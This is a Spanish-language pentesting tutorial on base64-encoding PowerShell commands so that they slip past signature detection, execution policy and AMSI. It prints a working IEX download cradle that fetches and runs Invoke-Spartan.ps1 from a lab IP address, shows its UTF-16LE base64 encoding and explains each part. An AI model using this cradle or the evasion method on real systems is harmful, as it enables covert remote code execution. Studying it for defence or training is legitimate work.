Codificando tus comandos de PowerShell en base64

La ofuscación es una técnica utilizada por los atacantes para ocultar o disfrazar el contenido verdadero de su código o comandos para evadir la detección de soluciones de seguridad. La codificación en Base64 es una forma popular de ofuscar comandos, especialmente en contextos de PowerShell. A continuación, se presentan las razones principales por las que un atacante podría optar por ofuscar sus comandos en PowerShell con Base64:

  1. Evasión de la detección: Las soluciones antimalware y los sistemas de detección de intrusiones a menudo buscan patrones específicos o firmas de comandos maliciosos conocidos. La ofuscación en Base64 puede alterar el comando lo suficiente como para que no coincida con estas firmas, permitiendo que el código evada la detección.

  2. Burlar controles de seguridad: Algunos controles de seguridad, como las políticas de ejecución de PowerShell, pueden bloquear scripts no firmados o de origen desconocido. Los atacantes pueden ofuscar y ejecutar código directamente desde la línea de comandos para evadir estos controles.

  3. AMSI Evasión: Windows 10 introdujo la Antimalware Scan Interface (AMSI) que permite que las soluciones antimalware escaneen scripts en tiempo real. Algunas técnicas de ofuscación, incluido el uso de Base64, pueden ser utilizadas para intentar evadir la detección por AMSI.

  4. Confusión y camuflaje: Al ofuscar un comando, los atacantes también pueden hacer que el análisis manual y la comprensión del código sean más difíciles. Esto puede ralentizar o dificultar el proceso de respuesta ante incidentes o la investigación forense.

  5. Ejecución uniforme: La codificación en Base64 permite a los atacantes tener una representación uniforme de los datos, lo que puede ser útil para garantizar que su código se ejecute consistentemente, independientemente del sistema o del contexto en el que se esté ejecutando.

  6. Incorporación de cargas útiles: Los atacantes a menudo necesitan incorporar cargas útiles dentro de otros scripts o documentos. La codificación Base64 permite que estas cargas útiles se representen como cadenas simples, lo que facilita su inclusión.

root@kali=> echo -n 'IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")' | iconv -t UTF-16LE | base64 -w 0

SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgA1AC8ASQBuAHYAbwBrAGUALQBTAHAAYQByAHQAYQBuAC4AcABzADEAIgApAA==                   

Desglosando el Comando previo

  1. Parte PowerShell:

    IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")
    • IEX: Es un alias para Invoke-Expression en PowerShell, que toma una cadena y la ejecuta como código.

    • new-object net.webclient: Crea un nuevo objeto WebClient, utilizado para realizar descargas de datos a través de HTTP.

    • .downloadstring("http://192.168.45.165/Invoke-Spartan.ps1"): Usa el objeto WebClient para descargar el contenido de la URL especificada como una cadena.

    • En conjunto, este fragmento de código descarga un script de PowerShell (Invoke-Spartan.ps1) de un servidor remoto y lo ejecuta inmediatamente en la máquina local.

  2. Parte Bash:

    echo -n 'IEX ...' | iconv -t UTF-16LE | base64 -w 0
    • echo -n 'IEX ...': Imprime la cadena (que es el código PowerShell) sin añadir un nuevo línea al final.

    • |: Es un pipe, que toma la salida del comando anterior y la usa como entrada para el siguiente comando.

    • iconv -t UTF-16LE: Usa iconv para convertir la cadena a UTF-16LE. PowerShell utiliza por defecto la codificación UTF-16LE para sus scripts codificados en Base64.

    • base64 -w 0: Codifica la cadena convertida en Base64 sin dividirla en múltiples líneas (-w 0 significa "no hacer wraps" o "no dividir en líneas").

Análisis del Comando

  • Objetivo del Comando:

    • Este comando está diseñado para ser utilizado en ataques, específicamente para ejecutar scripts de PowerShell remotamente y de una manera que pueda ser más discreta o evasiva respecto a ciertos controles de seguridad.

    • El código de PowerShell es codificado en Base64 y puede ser ejecutado luego en una máquina objetivo utilizando una técnica que decodifique y ejecute la cadena Base64, evitando así la detección de ciertas soluciones de seguridad basadas en firmas.

  • Uso en Ataques:

    • En escenarios de ataque, un atacante podría utilizar este comando para ejecutar un payload malicioso en una máquina remota.

    • Invoke-Spartan.ps1 podría ser un script que realice acciones maliciosas, como establecer una shell reversa, descargar más payloads, o realizar acciones en la máquina víctima.

Última actualización